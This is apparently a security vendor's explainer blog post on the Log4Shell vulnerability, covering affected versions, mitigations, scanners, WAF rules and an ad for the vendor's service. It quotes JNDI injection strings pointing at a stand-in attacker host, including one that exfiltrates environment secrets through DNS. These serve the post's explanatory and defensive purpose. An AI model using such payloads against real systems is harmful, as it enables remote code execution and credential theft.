Key Points
Tldr; Log4j is a remote code execution vulnerability, in the popular log4j package, which is everywhere. You can upgrade your log4j packages to fix the issue, you can deploy rules to web application firewalls to protect yourself further. And, yes, Intruder is detecting log4shell.
Log4j vulnerability explained
Apache Log4j is a logging package for Java which has been widely adopted and integrated into many applications. Developers need a way of tracking certain events within their application whether it be for debugging application behaviour, or to create an audit trail of certain events to help with security monitoring. The native logging support in Java is not ideal, and to get more feature-complete logging developers often include the Log4j package in their apps.
Logging will often just involve storing/printing a string (a bit of text). However, Log4j provides the functionality for certain bits of the text to be substituted for something else, by looking up some data. In practice I might log “The current version of Java that my app is running on is $ {java:version}” the $ {java:version} is automatically converted by Log4j to be the version of java, after looking up the version of Java on the system. So, the string that will actually be logged is “The current version of Java that my app is running on is Java version 1.7.0_67”; log4j has converted the $ {java:version} bit into the java version for us, which is pretty handy. Nothing can possibly go wrong!
Something went wrong
Log4j doesn’t just accept $ {java:version} as a substitution, if it did the worst we’d be able to do is add the Java version to a log entry. Let’s take a quick look at the $ {java:version} substitution. The “java” part is called the prefix2, a type of category, and the “version” bit is the name of a property we want to include, so in this case we want the version property from the java context. Log4j accepts a bunch of other prefixes including:
- base64
- bundle
- ctx
- date
- env
- jndi
- jvmrunargs
- log4j
- main
- map
- sd
- sys
Some of these look potentially juicy, but the one that is of particular interest is “jndi” which refers to the Java Naming and Directory Interface. JNDI allows Java applications to interact with naming and directory services (like DNS, LDAP, and NIS). So, this means attackers can call $ {jndi:name} to do a JNDI lookup, and since LDAP is one of the things JNDI supports we can do $ {jndi:ldap://intruder.io/myobject} to load data from “myobject” hosted at “intruder.io”, evaluate the contents of the object, and then add it to the log entry.
What does Log4j do?
An attacker only needs to find somewhere that an application is logging using log4j and send something like $ {jndi:ldap://evil.intruder.io/myexploit} then the victim server will execute the code contained within the “myexploit” file. This could result in the attacker gaining access to the system, begin dumping data, allow them to pivot to internal networks, and start their attack on internal systems.
On top of this when the victim system receives this malicious payload it will need to do a DNS lookup for evil.intruder.io. The DNS records for evil.intruder.io are controlled by the attacker, and they can monitor lookup requests against their domain. Which means, even where code isn’t being executed, it is possible to send data from the victim system to the attacker system by changing “evil.intruder.io” to “$ {env:SUPER_SECRET}.intruder.io” and suddenly the victim is sending DNS requests containing the SUPER_SECRET environment variable from the victim system to the attacker. That super secret could be sensitive information that allows the attacker to gain access to the system using other techniques (like maybe your AWS_SECRET_ACCESS_KEY?).
What versions of Log4j are vulnerable?
CVE-2021-44228 specifically affects Log4j 2 versions before 2.15.0. From version 2.15.0 and after the remote JNDI LDAP lookups are disabled by default.
However, a second vulnerability CVE-2021-45046 has emerged while we’ve all been trying to fix Log4j issues. So, consider every version before Log4j 2 version 2.16.0 vulnerable.
The list of software that includes Log4j and is impacted is pretty long; in fact, it’s eye wateringly long. The Dutch National Cyber Security Centre have a good list where you can track different affected vendors and software. You can find the list at their Github project:
CISA also have a good list of affected systems:
Why is so much stuff affected?
People log a lot of stuff. Logging is usually recommended to ensure that you can troubleshoot issues or maintain some form of audit log for security purposes (the irony is not lost on me). Additionally, people will often log input from end users especially things like HTTP request headers (user-agent, forwarded-for, x- headers) and parameters. So, in the previous section when I said “an attacker only needs to find…” attackers have taken the firehose approach and started spraying the internet with requests containing the malicious string:
It gets worse because the internet-facing web application doesn’t need to be vulnerable. If data flows through your environment the exploit string may hit secondary systems which use log4j in the backend. If these systems are vulnerable, and have an internet connection, it’s possible to execute code or exfiltrate data from internal systems.
I think it’s worth mentioning that the magnitude of this vulnerability is because of how many different vendors are including open-source software in their products, and that open source package is maintained by volunteers with little to no cash flow from major vendors. There is an XKCD for everything, but this one continues to be a microcosm of the current ecosystem:
Because log4j is open source it’s being used in lots of other enterprise software, and as a result this vulnerability is appearing in lots of places.
So, it’s bad, huh?
It’s pretty bad, remember Shellshock? It’s like that. But for Java.
How to fix Log4j
Identify which of your systems is vulnerable, scan your network or local systems for occurrences of the vulnerable software.
Vendors have released fixes so apply updates, where possible. Log4j 2 should be updated to at least version 2.16.0.
Restrict network access from systems where you cannot update vulnerable systems. Specifically, do not allow them to connect to untrusted systems. Most exploits are using LDAP to attempt to connect outbound, but also DNS queries which are forwarded to external DNS servers can result in data being leaked.
Apply configuration changes to limit exploitation.
- In version 2.10 and greater you can set log4j2.formatMsgNoLookups environment variable or the LOG4J_FORMAT_MSG_NO_LOOKUPS to true. Please note, Elastic has said logstash does not honour these environment variables.
- For versions between 2.0-beta9 and 2.10.0 you can delete the JndiLookup class from the classpath
§ zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class- For any version of Log4j 2 you can delete JndiLookup.class
Increase monitoring for exploitation
Scan your infrastructure for the vulnerability and monitor for any detections
How to check for the Log4j vulnerability
Most log4j vulnerability scanners are detecting the vulnerability, many have had checks out since the day the vulnerability broke. Intruder are scanning for the log4j vulnerability and have been kicking off full Emerging Threat Scans against our customers and keeping them up-to-date with any detections.
If you want to DIY then there are a number of approaches available to you. Fox IT have released a recursive file system searcher which can detect vulnerable log4j references in your JARs:
And if Go is more of your thing then Hilko Bengen has you covered:
If you want to check remotely you can use the nmap NSE script released by Diverto:
On top of that there are a bunch of scanners available for Portswigger’s Burp Suite:
It was also added to Burp’s ActiveScan++ in version 1.0.23:
What can you do to defend yourself?
If you want to try and mitigate the issue, there are a number of web application firewall rules that have been released to try and limit exploitation:
Cloudflare has automatically deployed web application firewall rules which try to mitigate the vulnerabilities:
Fastly have added a templated rule for CVE-2021-44228 as part of their Signal Sciences WAF:
Be aware that it is possible for attackers to attempt to bypass WAF rules, and some are already doing it successfully. There really is no better mitigation than fixing the root cause (applying the vendor fix); but in situations where you need more time, these rules and services can help.
Take action with a Log4j scanner
Intruder have been conducting scans against all our Pro customers from the second the checks for the vulnerabilities were available, these are our Emerging Threat Scans. When affected systems were identified we send an alert (through instant messaging and email) to inform our customer that we’ve detected a problem. Our Vanguard customers repeatedly received scans, from the moment we saw the vulnerability, using more advanced techniques including WAF bypasses (which gave us more hits). Start a 14 day free trial today.
References
- Reddit thread by u/digicat on /r/blueteamsec https://www.reddit.com/r/blueteamsec/comments/rd38z9/log4j_0day_being_exploited/
- Apache details: https://logging.apache.org/log4j/2.x/security.html
- Apache issue tracker: https://issues.apache.org/jira/browse/LOG4J2-3201
- NVD CVE: https://nvd.nist.gov/vuln/detail/CVE-2021-44228
Andy has a long career in cyber security including a decade in threat simulation and consulting. Career highlights include being the Assurance Regional Lead at one of the UK's leading cyber security consultancies and helping critical national infrastructure providers stay secure. Most recently, Andy was the EU Red Team Operations Lead at Mandiant, building out and leading the security team to deliver high quality intelligence-led threat simulations.
.webp)
